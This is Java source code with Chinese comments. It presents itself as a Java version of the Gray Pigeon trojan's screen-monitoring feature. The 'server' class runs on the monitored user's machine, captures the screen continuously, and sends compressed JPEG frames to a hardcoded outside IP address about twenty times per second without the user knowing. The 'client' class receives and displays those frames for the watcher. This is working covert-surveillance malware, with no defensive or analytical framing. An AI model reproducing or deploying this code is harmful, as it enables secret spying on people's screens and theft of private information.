/以下這個為服務器類 被監視的用戶 灰鴿子 屏幕監控JAVA 版

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
  private Dimension screenSize;
  private Rectangle rectangle;
  private Robot robot;
  private JPEGImageEncoder encoder;
 
  public ShellServer() {
    screenSize = Toolkit.getDefaultToolkit().getScreenSize();
    rectangle = new Rectangle(screenSize);//可以指定捕獲屏幕區域
    try{
      robot = new Robot();
    }catch(Exception e){
      e.printStackTrace();
      System.out.println(e);
    }
  }
public void run(){
 ZipOutputStream os = null;
 Socket socket=null;
 while (true){
  try{
   socket = new Socket("220.173.44.158",5000);//連接遠程IP
   BufferedImage image = robot.createScreenCapture(rectangle);//捕獲制定屏幕矩形區域
   os = new ZipOutputStream(socket.getOutputStream());//加入壓縮流
   //os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
   
   os.setLevel(9);
   os.putNextEntry(new ZipEntry("1.jpg"));
   JPEGCodec.createJPEGEncoder(os).encode(image);//圖像編碼成JPEG
   os.close();
   Thread.sleep(50);//每秒20幀
  }catch(Exception e){
   e.printStackTrace();
  }finally{
   if(os!=null){
    try{
     os.close();
    }catch(Exception ioe){}
   }
   if(socket!=null){
    try {
     socket.close();
    } catch (IOException e) {
    }
   }
  }
    }
}
public static void main(String[] args) {
 new ShellServer().start();
}
}
//以下這個為客戶端類 監視者

import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient  extends JFrame{
Dimension screenSize;

public ShellClient() {
 super();
 screenSize = Toolkit.getDefaultToolkit().getScreenSize();
 this.setSize(800, 640);//設置Frame初始
 Screen p = new Screen();//屏幕類
 Container c = this.getContentPane();
 c.setLayout(new BorderLayout());//布局
 c.add(p,"Center");//添加一個Panel
 new Thread(p).start();//開啟線程
 this.show();//顯示本Frame
}
public static void main(String[] args){
 new ShellClient();
}
class Screen extends JPanel implements Runnable{
 private Image cimage;
 public void run(){
  ServerSocket ss=null;
  try{
   ss=new ServerSocket(5000);//探聽5000端口的連接
   while(true){
    Socket s=null;
    try{
     s=ss.accept();//獲取一個SOCKET
     ZipInputStream  zis=new ZipInputStream(s.getInputStream());
     zis.getNextEntry();//獲得ZIP流的ENTRY
     cimage = ImageIO.read(zis);//把ZIP流轉換為圖片
     //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
     repaint();//重畫
    }catch(Exception e){
     e.printStackTrace();
    }finally{
     if(s!=null){
      try {s.close();} catch (IOException e) {}
     }
    }
   }
  }catch(Exception e){}
  finally{
   if(ss!=null){
    try {ss.close();} catch (IOException e) {}
   }
  }
 }
 public Screen() {
  super();
  this.setLayout(null);
 }
 public void paint(Graphics g){
  super.paint(g);
  Graphics2D g2 = (Graphics2D) g;
  g2.drawImage(cimage, 0, 0, null);
 }
}
}